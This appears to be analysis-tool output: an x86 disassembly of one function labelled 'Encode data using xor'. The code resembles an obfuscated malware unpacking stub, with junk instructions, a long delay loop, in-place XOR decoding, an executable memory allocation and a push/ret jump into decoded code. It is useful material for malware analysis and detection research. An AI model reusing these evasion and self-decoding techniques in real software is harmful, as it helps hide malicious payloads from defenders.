Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xb3b9ab03
add edi, ebx
add ebx, ebx
add ebx, 0x8c28dd8f
popal
sub edi, ebx
sub edi, 0xbc303652
mov ecx, 0
mov edi, esi
mov eax, edx
and eax, edx
mov ebx, edi
add eax, 0x1889fd1a
add edx, eax
and edx, edx
mov esi, ebx
add eax, 0xd3318ea6
or eax, eax
inc ecx
and edx, edx
mov edx, 0xa657defe
not eax
cmp ecx, 0x1000717
jne 0xa789ca
sub edx, 0x4411f79c
mov eax, 0xe98df619
mov edx, 0x11db6556
add ebx, edi
sub ebx, 1
and edi, ebx
mov esi, 0xa78796
not eax
mov ebx, edi
mov ecx, 0xa7898a
inc eax
mov edi, 0xa563227b
mov edx, dword [esi]
or eax, edi
not ebx
dec ebx
and edx, 0xff
inc eax
add eax, 0x801b6397
inc eax
xor dword [ecx], edx
sub eax, 0x7b214594
add ebx, 0xca693d90
sub eax, 0x5f10cc2f
add ecx, 1
sub eax, edi
sub edi, 0xa56aa28b
inc esi
inc ebx
and eax, ebx
not edi
cmp ecx, entry0
jl 0xa78a2a
add ebx, 0x579c896
sub edi, ebx
sub edi, 1
or eax, edi
mov edi, 0xbadc802
add eax, 0x8a46ac46
sub edx, 0xa6563fe
sub esi, 0xa9e40b4a
add esi, edx
mov ebx, 0xa7898e
add edx, esi
sub edi, 1
mov ebx, dword [ebx]
or esi, edi
mov esi, ecx
mov ebx, dword [ebx]
mov ecx, edx
add esi, 1
sub edx, 0x77e25bcd
push ebx
not edx
dec edx
mov ebx, 0xa7898a
add esi, 0x73fa8311
add edx, 0x5bb49c4e
mov ebx, dword [ebx]
not esi
mov esi, ecx
mov ebx, dword [ebx]
inc edx
add edx, 1
or esi, edx
sub esp, 4
mov dword [esp], 0xa78992
sub edi, esi
sub esi, 0xea87355c
mov ecx, edx
call ebx
sub edi, 0x575f4b8d
add edi, esi
or ecx, edi
mov ebx, dword [esp]
add esp, 4
or edx, edx
mov ecx, edi
sub esp, 4
mov dword [esp], 0xa7899f
not ecx
dec edi
inc edx
push eax
add esi, 0xc1958301
not edx
call ebx
not edi
or edi, edi
and edx, esi
push 0x40
not esi
add ecx, esi
sub esp, 4
mov dword [esp], 0x3000
mov esi, ecx
and esi, esi
not ecx
push 0x20000161
and edi, edx
add ecx, esi
add ecx, edi
push 0
add ecx, 0x76b3b20
add edi, esi
and edi, esi
call eax
add ecx, edi
add ecx, ecx
add eax, 0x200000e8
mov esi, 0x6abb4bdf
or ecx, esi
or edx, edi
mov ebx, 0x61da441a
or ecx, edi
sub esi, 1
mov dword [eax], ebx
mov ecx, edi
or edi, edi
inc edi
mov ebx, dword [eax]
mov edi, esi
mov edx, 0x80c664d
cmp ebx, 0x61da441a
je 0xa78ba2
mov ebx, 0
mov byte [ebx], cl
sub edx, 0x3837f146
or esi, edx
mov ecx, edx
add ecx, ecx
sub edi, 0x38030a83
dec edi
sub edi, ebx
mov edx, section..reltc
inc edi
dec edi
and ebx, edi
mov ecx, 0xa78795
or edi, edi
mov edi, 0xc0f34915
add ebx, 0x107cb6da
mov eax, 0
add edi, 1
add edi, 0x845ee417
mov esi, 0xa78796
sub ebx, 0xbdc4c39b
not edi
inc edi
lea esi, [esi + eax]
dec ebx
sub edi, ebx
mov esi, dword [esi]
mov edi, ebx
inc ebx
and esi, 0xff
not ebx
add edi, 0x3062da7
not edi
inc eax
and edi, ebx
sub ebx, edi
sub ebx, edi
cmp eax, 0x1f4
jne 0xa78c20
mov eax, 0
mov edi, ebx
mov ebx, 0xfd88adaa
sub edi, 0xbeab92a2
add ebx, edi
xor dword [edx], esi
add edi, 0x3c70aa84
mov edi, 0xa8827fa9
and edi, ebx
add edx, 2
mov ebx, 0x44509c1a
inc ebx
cmp edx, ecx
jl 0xa78be3
not edi
dec edi
sub ebx, edi
add edi, 0x5760a7b
mov edi, ebx
mov ecx, section..reltc
sub edi, esi
sub edi, 0x2977baf
mov eax, section..reltc
and edi, esi
not edi
mov esi, 0x295d7001
mov edx, 0xa78795
mov esi, edi
mov edi, 0x1324f750
mov ebx, 0
not esi
inc esi
mov esi, edi
mov bl, byte [eax]
or esi, esi
sub esi, edi
mov byte [ecx], bl
sub esi, 0x88509354
mov edi, esi
add esi, 0x221656d
add ecx, 1
inc esi
mov edi, esi
add eax, 2
and esi, esi
sub esi, edi
cmp eax, edx
jle 0xa78c90
add esi, edi
and esi, esi
sub esi, 0x551d4b33
or edi, ebx
inc ebx
not ebx
push 0x8dc6a0
add edi, 0xeaee7ed1
mov ebx, edi
or edi, edi
ret